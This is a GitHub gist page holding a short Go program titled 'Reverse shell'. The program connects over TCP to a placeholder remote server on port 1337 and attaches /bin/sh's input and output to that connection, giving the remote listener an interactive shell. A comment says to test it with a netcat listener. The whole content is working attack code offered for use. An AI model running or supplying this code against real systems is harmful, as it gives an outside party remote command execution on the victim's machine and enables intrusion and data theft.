Created
November 24, 2016 07:16
-
-
Save khajavi/3c994eac5cd03028ca74f4e9df2060c8 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
// Reverse shell | |
// Test in remote server with nc -l 1337 | |
import"os/exec" | |
import"net" | |
func main(){ | |
c,_:=net.Dial("tcp","remoteserverip:1337"); | |
cmd:=exec.Command("/bin/sh"); | |
cmd.Stdin=c; | |
cmd.Stdout=c; | |
cmd.Stderr=c; | |
cmd.Run(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment